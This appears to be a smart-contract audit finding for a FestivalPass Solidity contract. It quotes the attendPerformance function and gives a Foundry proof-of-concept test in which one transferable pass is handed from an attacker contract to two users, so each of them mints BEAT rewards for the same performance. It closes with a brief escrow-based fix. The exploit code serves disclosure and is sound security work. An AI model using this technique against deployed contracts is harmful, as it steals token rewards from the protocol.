@> function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}
The test below demonstrates how a single pass is transferred across multiple users, allowing all of them to attend the same performance and earn BEAT tokens
import {FestivalPass} from "src/FestivalPass.sol";
import {ERC1155Holder} from "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import {One} from "test/Helpers/One.sol";
contract AttendPerformance is ERC1155Holder {
FestivalPass festivalPass;
One one;
uint256 public perfId;
address userOne;
address userTwo;
constructor(FestivalPass _festivalPass, address _userOne, address _userTwo, uint256 _perfId) {
festivalPass = _festivalPass;
perfId = _perfId;
userOne = _userOne;
userTwo = _userTwo;
}
function attack() external {
festivalPass.attendPerformance(perfId);
festivalPass.safeTransferFrom(address(this), userOne, 3, 1, "");
}
}
function test_attend_performance_using_one_pass() public {
address userOne = makeAddr("userOne");
address userTwo = makeAddr("userTwo");
vm.prank(organizer);
uint256 startTime = block.timestamp + 1 hours;
uint256 perfId = festivalPass.createPerformance(startTime, 2 hours, 250e18);
vm.warp(startTime + 1 hours);
AttendPerformance attend = new AttendPerformance(festivalPass, userOne, userTwo, perfId);
vm.deal(address(attend), 1 ether);
vm.prank(address(attend));
festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);
attend.attack();
vm.startPrank(userOne);
festivalPass.attendPerformance(perfId);
festivalPass.setApprovalForAll(userTwo, true);
(bool ok) = festivalPass.isApprovedForAll(userOne, userTwo);
festivalPass.safeTransferFrom(userOne, userTwo, 3, 1, "");
vm.stopPrank();
vm.prank(userTwo);
festivalPass.attendPerformance(perfId);
assertEq(beatToken.balanceOf(address(attend)), 765e18);
assertEq(beatToken.balanceOf(userOne), 750e18);
assertEq(beatToken.balanceOf(userTwo), 750e18);
}
Escrowing the pass and returning it after the performance, use Chainlink Automation for returning the pass